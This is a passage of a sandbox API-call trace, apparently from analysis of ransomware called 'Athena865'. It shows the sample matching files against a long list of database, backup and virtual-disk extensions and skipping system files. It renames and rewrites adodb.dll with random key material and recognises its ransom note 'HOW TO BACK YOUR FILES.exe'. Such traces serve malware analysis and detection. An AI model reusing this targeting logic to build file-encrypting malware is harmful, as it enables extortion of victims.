[0095.178] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0095.178] lstrlenW (lpString="ask") returned 3 [0095.179] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0095.179] lstrlenW (lpString="btr") returned 3 [0095.179] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0095.179] lstrlenW (lpString="cat") returned 3 [0095.179] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0095.179] lstrlenW (lpString="cdb") returned 3 [0095.179] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0095.179] lstrlenW (lpString="ckp") returned 3 [0095.179] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0095.179] lstrlenW (lpString="cma") returned 3 [0095.179] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0095.179] lstrlenW (lpString="cpd") returned 3 [0095.179] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0095.179] lstrlenW (lpString="dacpac") returned 6 [0095.179] lstrcmpiW (lpString1="db.dll", lpString2="dacpac") returned 1 [0095.179] lstrlenW (lpString="dad") returned 3 [0095.179] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0095.179] lstrlenW (lpString="dadiagrams") returned 10 [0095.179] lstrlenW (lpString="daschema") returned 8 [0095.179] lstrcmpiW (lpString1="dodb.dll", lpString2="daschema") returned 1 [0095.179] lstrlenW (lpString="db-journal") returned 10 [0095.179] lstrlenW (lpString="db-shm") returned 6 [0095.179] lstrcmpiW (lpString1="db.dll", lpString2="db-shm") returned -1 [0095.179] lstrlenW (lpString="db-wal") returned 6 [0095.179] lstrcmpiW (lpString1="db.dll", lpString2="db-wal") returned -1 [0095.179] lstrlenW (lpString="dbc") returned 3 [0095.179] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0095.179] lstrlenW (lpString="dbs") returned 3 [0095.179] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0095.179] lstrlenW (lpString="dbt") returned 3 [0095.179] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0095.180] lstrlenW (lpString="dbv") returned 3 [0095.180] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0095.180] lstrlenW (lpString="dbx") returned 3 [0095.180] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0095.180] lstrlenW (lpString="dcb") returned 3 [0095.180] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0095.180] lstrlenW (lpString="dct") returned 3 [0095.180] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0095.180] lstrlenW (lpString="dcx") returned 3 [0095.180] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0095.180] lstrlenW (lpString="ddl") returned 3 [0095.180] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0095.180] lstrlenW (lpString="dlis") returned 4 [0095.180] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0095.180] lstrlenW (lpString="dp1") returned 3 [0095.180] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0095.180] lstrlenW (lpString="dqy") returned 3 [0095.180] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0095.180] lstrlenW (lpString="dsk") returned 3 [0095.180] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0095.180] lstrlenW (lpString="dsn") returned 3 [0095.180] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0095.180] lstrlenW (lpString="dtsx") returned 4 [0095.180] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0095.180] lstrlenW (lpString="dxl") returned 3 [0095.180] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0095.180] lstrlenW (lpString="eco") returned 3 [0095.180] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0095.180] lstrlenW (lpString="ecx") returned 3 [0095.180] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0095.180] lstrlenW (lpString="edb") returned 3 [0095.180] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0095.181] lstrlenW (lpString="epim") returned 4 [0095.181] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0095.181] lstrlenW (lpString="fcd") returned 3 [0095.181] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0095.181] lstrlenW (lpString="fdb") returned 3 [0095.181] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0095.181] lstrlenW (lpString="fic") returned 3 [0095.181] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0095.181] lstrlenW (lpString="flexolibrary") returned 12 [0095.181] lstrlenW (lpString="fm5") returned 3 [0095.181] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0095.181] lstrlenW (lpString="fmp") returned 3 [0095.181] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0095.181] lstrlenW (lpString="fmp12") returned 5 [0095.181] lstrcmpiW (lpString1="b.dll", lpString2="fmp12") returned -1 [0095.181] lstrlenW (lpString="fmpsl") returned 5 [0095.181] lstrcmpiW (lpString1="b.dll", lpString2="fmpsl") returned -1 [0095.181] lstrlenW (lpString="fol") returned 3 [0095.181] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0095.181] lstrlenW (lpString="fp3") returned 3 [0095.181] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0095.181] lstrlenW (lpString="fp4") returned 3 [0095.181] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0095.181] lstrlenW (lpString="fp5") returned 3 [0095.181] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0095.181] lstrlenW (lpString="fp7") returned 3 [0095.181] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0095.181] lstrlenW (lpString="fpt") returned 3 [0095.181] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0095.181] lstrlenW (lpString="frm") returned 3 [0095.181] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0095.181] lstrlenW (lpString="gdb") returned 3 [0095.181] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0095.182] lstrlenW (lpString="gdb") returned 3 [0095.182] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0095.182] lstrlenW (lpString="grdb") returned 4 [0095.182] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0095.182] lstrlenW (lpString="gwi") returned 3 [0095.182] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0095.182] lstrlenW (lpString="hdb") returned 3 [0095.182] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0095.182] lstrlenW (lpString="his") returned 3 [0095.182] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0095.182] lstrlenW (lpString="ib") returned 2 [0095.182] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0095.182] lstrlenW (lpString="idb") returned 3 [0095.182] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0095.182] lstrlenW (lpString="ihx") returned 3 [0095.182] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0095.182] lstrlenW (lpString="itdb") returned 4 [0095.182] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0095.182] lstrlenW (lpString="itw") returned 3 [0095.182] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0095.182] lstrlenW (lpString="jet") returned 3 [0095.182] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0095.182] lstrlenW (lpString="jtx") returned 3 [0095.182] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0095.182] lstrlenW (lpString="kdb") returned 3 [0095.182] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0095.182] lstrlenW (lpString="kexi") returned 4 [0095.182] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0095.182] lstrlenW (lpString="kexic") returned 5 [0095.182] lstrcmpiW (lpString1="b.dll", lpString2="kexic") returned -1 [0095.182] lstrlenW (lpString="kexis") returned 5 [0095.182] lstrcmpiW (lpString1="b.dll", lpString2="kexis") returned -1 [0095.183] lstrlenW (lpString="lgc") returned 3 [0095.183] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0095.183] lstrlenW (lpString="lwx") returned 3 [0095.183] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0095.183] lstrlenW (lpString="maf") returned 3 [0095.183] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0095.183] lstrlenW (lpString="maq") returned 3 [0095.183] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0095.183] lstrlenW (lpString="mar") returned 3 [0095.183] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0095.183] lstrlenW (lpString="marshal") returned 7 [0095.183] lstrcmpiW (lpString1="odb.dll", lpString2="marshal") returned 1 [0095.183] lstrlenW (lpString="mas") returned 3 [0095.183] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0095.183] lstrlenW (lpString="mav") returned 3 [0095.183] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0095.183] lstrlenW (lpString="maw") returned 3 [0095.183] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0095.183] lstrlenW (lpString="mdbhtml") returned 7 [0095.183] lstrcmpiW (lpString1="odb.dll", lpString2="mdbhtml") returned 1 [0095.183] lstrlenW (lpString="mdn") returned 3 [0095.183] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0095.183] lstrlenW (lpString="mdt") returned 3 [0095.183] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0095.183] lstrlenW (lpString="mfd") returned 3 [0095.183] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0095.183] lstrlenW (lpString="mpd") returned 3 [0095.183] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0095.183] lstrlenW (lpString="mrg") returned 3 [0095.183] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0095.183] lstrlenW (lpString="mud") returned 3 [0095.183] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0095.184] lstrlenW (lpString="mwb") returned 3 [0095.184] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0095.184] lstrlenW (lpString="myd") returned 3 [0095.184] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0095.184] lstrlenW (lpString="ndf") returned 3 [0095.184] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0095.184] lstrlenW (lpString="nnt") returned 3 [0095.184] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0095.184] lstrlenW (lpString="nrmlib") returned 6 [0095.184] lstrcmpiW (lpString1="db.dll", lpString2="nrmlib") returned -1 [0095.184] lstrlenW (lpString="ns2") returned 3 [0095.184] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0095.184] lstrlenW (lpString="ns3") returned 3 [0095.184] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0095.184] lstrlenW (lpString="ns4") returned 3 [0095.184] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0095.184] lstrlenW (lpString="nsf") returned 3 [0095.184] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0095.184] lstrlenW (lpString="nv") returned 2 [0095.184] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0095.184] lstrlenW (lpString="nv2") returned 3 [0095.184] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0095.184] lstrlenW (lpString="nwdb") returned 4 [0095.184] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0095.184] lstrlenW (lpString="nyf") returned 3 [0095.184] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0095.184] lstrlenW (lpString="odb") returned 3 [0095.184] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0095.184] lstrlenW (lpString="odb") returned 3 [0095.184] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0095.184] lstrlenW (lpString="oqy") returned 3 [0095.184] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0095.185] lstrlenW (lpString="ora") returned 3 [0095.185] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0095.185] lstrlenW (lpString="orx") returned 3 [0095.185] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0095.185] lstrlenW (lpString="owc") returned 3 [0095.185] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0095.185] lstrlenW (lpString="p96") returned 3 [0095.185] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0095.185] lstrlenW (lpString="p97") returned 3 [0095.185] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0095.185] lstrlenW (lpString="pan") returned 3 [0095.185] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0095.185] lstrlenW (lpString="pdb") returned 3 [0095.185] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0095.185] lstrlenW (lpString="pdm") returned 3 [0095.185] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0095.185] lstrlenW (lpString="pnz") returned 3 [0095.185] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0095.185] lstrlenW (lpString="qry") returned 3 [0095.185] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0095.185] lstrlenW (lpString="qvd") returned 3 [0095.185] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0095.185] lstrlenW (lpString="rbf") returned 3 [0095.185] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0095.185] lstrlenW (lpString="rctd") returned 4 [0095.185] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0095.185] lstrlenW (lpString="rod") returned 3 [0095.185] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0095.185] lstrlenW (lpString="rodx") returned 4 [0095.185] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0095.185] lstrlenW (lpString="rpd") returned 3 [0095.186] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0095.186] lstrlenW (lpString="rsd") returned 3 [0095.186] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0095.186] lstrlenW (lpString="sas7bdat") returned 8 [0095.186] lstrcmpiW (lpString1="dodb.dll", lpString2="sas7bdat") returned -1 [0095.186] lstrlenW (lpString="sbf") returned 3 [0095.186] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0095.186] lstrlenW (lpString="scx") returned 3 [0095.186] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0095.186] lstrlenW (lpString="sdb") returned 3 [0095.186] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0095.186] lstrlenW (lpString="sdc") returned 3 [0095.186] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0095.186] lstrlenW (lpString="sdf") returned 3 [0095.186] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0095.186] lstrlenW (lpString="sis") returned 3 [0095.186] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0095.186] lstrlenW (lpString="spq") returned 3 [0095.186] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0095.186] lstrlenW (lpString="te") returned 2 [0095.186] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0095.186] lstrlenW (lpString="teacher") returned 7 [0095.186] lstrcmpiW (lpString1="odb.dll", lpString2="teacher") returned -1 [0095.186] lstrlenW (lpString="tmd") returned 3 [0095.186] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0095.186] lstrlenW (lpString="tps") returned 3 [0095.186] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0095.186] lstrlenW (lpString="trc") returned 3 [0095.186] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0095.186] lstrlenW (lpString="trc") returned 3 [0095.186] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0095.186] lstrlenW (lpString="trm") returned 3 [0095.187] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0095.187] lstrlenW (lpString="udb") returned 3 [0095.187] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0095.187] lstrlenW (lpString="udl") returned 3 [0095.187] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0095.187] lstrlenW (lpString="usr") returned 3 [0095.187] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0095.187] lstrlenW (lpString="v12") returned 3 [0095.187] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0095.187] lstrlenW (lpString="vis") returned 3 [0095.187] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0095.187] lstrlenW (lpString="vpd") returned 3 [0095.187] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0095.187] lstrlenW (lpString="vvv") returned 3 [0095.187] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0095.187] lstrlenW (lpString="wdb") returned 3 [0095.187] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0095.187] lstrlenW (lpString="wmdb") returned 4 [0095.187] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0095.187] lstrlenW (lpString="wrk") returned 3 [0095.187] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0095.187] lstrlenW (lpString="xdb") returned 3 [0095.187] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0095.187] lstrlenW (lpString="xld") returned 3 [0095.187] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0095.187] lstrlenW (lpString="xmlff") returned 5 [0095.187] lstrcmpiW (lpString1="b.dll", lpString2="xmlff") returned -1 [0095.187] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\adodb.dll.Athena865") returned 83 [0095.187] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\adodb.dll" (normalized: "c:\\program files (x86)\\microsoft.net\\primary interop assemblies\\adodb.dll"), lpNewFileName="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\adodb.dll.Athena865" (normalized: "c:\\program files (x86)\\microsoft.net\\primary interop assemblies\\adodb.dll.athena865"), dwFlags=0x1) returned 1 [0095.188] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\adodb.dll.Athena865" (normalized: "c:\\program files (x86)\\microsoft.net\\primary interop assemblies\\adodb.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0095.188] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=110592) returned 1 [0095.188] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0095.189] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d408 [0095.189] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0095.189] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518a30) returned 1 [0095.189] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0095.190] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0095.190] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1b300, lpName=0x0) returned 0x154 [0095.191] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1b300) returned 0x100000 [0095.201] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518a30) returned 1 [0095.202] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0095.202] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0095.202] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0095.202] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0095.202] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0095.202] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0095.202] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0095.202] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0095.202] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0095.203] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0095.203] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0095.203] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0095.203] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0095.204] CloseHandle (hObject=0x154) returned 1 [0095.204] CloseHandle (hObject=0x17c) returned 1 [0095.204] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d408 | out: hHeap=0x4f0000) returned 1 [0095.204] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0095.204] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0095.205] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc12a7320, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc12a7320, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0095.205] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0095.205] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c210700, ftCreationTime.dwHighDateTime=0x1c2a174, ftLastAccessTime.dwLowDateTime=0x523e72d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c210700, ftLastWriteTime.dwHighDateTime=0x1c2a174, nFileSizeHigh=0x0, nFileSizeLow=0x7a3000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft.mshtml.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0095.205] lstrcmpiW (lpString1="Microsoft.mshtml.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0095.205] lstrcmpiW (lpString1="Microsoft.mshtml.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0095.205] lstrcmpiW (lpString1="Microsoft.mshtml.dll", lpString2=".") returned 1 [0095.205] lstrcmpiW (lpString1="Microsoft.mshtml.dll", lpString2="..") returned 1 [0095.205] lstrcmpiW (lpString1="Microsoft.mshtml.dll", lpString2="windows") returned -1 [0095.205] lstrcmpiW (lpString1="Microsoft.mshtml.dll", lpString2="bootmgr") returned 1 [0095.205] lstrcmpiW (lpString1="Microsoft.mshtml.dll", lpString2="temp") returned -1 [0095.205] lstrcmpiW (lpString1="Microsoft.mshtml.dll", lpString2="pagefile.sys") returned -1 [0095.205] lstrcmpiW (lpString1="Microsoft.mshtml.dll", lpString2="boot") returned 1 [0095.205] lstrcmpiW (lpString1="Microsoft.mshtml.dll", lpString2="ids.txt") returned 1 [0095.205] lstrcmpiW (lpString1="Microsoft.mshtml.dll", lpString2="ntuser.dat") returned -1 [0095.205] lstrcmpiW (lpString1="Microsoft.mshtml.dll", lpString2="perflogs") returned -1 [0095.205] lstrcmpiW (lpString1="Microsoft.mshtml.dll", lpString2="MSBuild") returned -1 [0095.205] lstrlenW (lpString="Microsoft.mshtml.dll") returned 20 [0095.205] lstrcpyW (in: lpString1=0x241e8c8, lpString2="Microsoft.mshtml.dll" | out: lpString1="Microsoft.mshtml.dll") returned="Microsoft.mshtml.dll" [0095.205] lstrlenW (lpString="Microsoft.mshtml.dll") returned 20 [0095.205] lstrlenW (lpString="Athena865") returned 9 [0095.205] lstrcmpiW (lpString1="shtml.dll", lpString2="Athena865") returned 1 [0095.205] lstrlenW (lpString=".dll") returned 4 [0095.206] lstrcmpiW (lpString1="Microsoft.mshtml.dll", lpString2=".dll") returned 1 [0095.206] lstrlenW (lpString=".lnk") returned 4 [0095.206] lstrcmpiW (lpString1="Microsoft.mshtml.dll", lpString2=".lnk") returned 1 [0095.206] lstrlenW (lpString=".ini") returned 4 [0095.206] lstrcmpiW (lpString1="Microsoft.mshtml.dll", lpString2=".ini") returned 1 [0095.206] lstrlenW (lpString=".sys") returned 4 [0095.206] lstrcmpiW (lpString1="Microsoft.mshtml.dll", lpString2=".sys") returned 1 [0095.206] lstrlenW (lpString="Microsoft.mshtml.dll") returned 20 [0095.206] lstrlenW (lpString="bak") returned 3 [0095.206] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0095.206] lstrlenW (lpString="ba_") returned 3 [0095.206] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0095.206] lstrlenW (lpString="dbb") returned 3 [0095.206] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0095.206] lstrlenW (lpString="vmdk") returned 4 [0095.206] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0095.206] lstrlenW (lpString="rar") returned 3 [0095.206] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0095.206] lstrlenW (lpString="zip") returned 3 [0095.206] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0095.206] lstrlenW (lpString="tgz") returned 3 [0095.206] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0095.206] lstrlenW (lpString="vbox") returned 4 [0095.206] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0095.206] lstrlenW (lpString="vdi") returned 3 [0095.206] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0095.206] lstrlenW (lpString="vhd") returned 3 [0095.206] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0095.206] lstrlenW (lpString="vhdx") returned 4 [0095.206] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0095.206] lstrlenW (lpString="avhd") returned 4 [0095.207] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0095.207] lstrlenW (lpString="db") returned 2 [0095.207] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0095.207] lstrlenW (lpString="db2") returned 3 [0095.207] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0095.207] lstrlenW (lpString="db3") returned 3 [0095.207] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0095.207] lstrlenW (lpString="dbf") returned 3 [0095.207] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0095.207] lstrlenW (lpString="mdf") returned 3 [0095.207] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0095.207] lstrlenW (lpString="mdb") returned 3 [0095.207] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0095.207] lstrlenW (lpString="sql") returned 3 [0095.207] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0095.207] lstrlenW (lpString="sqlite") returned 6 [0095.207] lstrcmpiW (lpString1="ml.dll", lpString2="sqlite") returned -1 [0095.207] lstrlenW (lpString="sqlite3") returned 7 [0095.207] lstrcmpiW (lpString1="tml.dll", lpString2="sqlite3") returned 1 [0095.207] lstrlenW (lpString="sqlitedb") returned 8 [0095.207] lstrcmpiW (lpString1="html.dll", lpString2="sqlitedb") returned -1 [0095.207] lstrlenW (lpString="xml") returned 3 [0095.207] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0095.207] lstrlenW (lpString="$er") returned 3 [0095.207] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0095.207] lstrlenW (lpString="4dd") returned 3 [0095.207] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0095.207] lstrlenW (lpString="4dl") returned 3 [0095.207] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0095.208] lstrlenW (lpString="^^^") returned 3 [0095.208] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0095.208] lstrlenW (lpString="abs") returned 3 [0095.208] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0095.208] lstrlenW (lpString="abx") returned 3 [0095.208] lstrcmpiW (lpString1="dll", 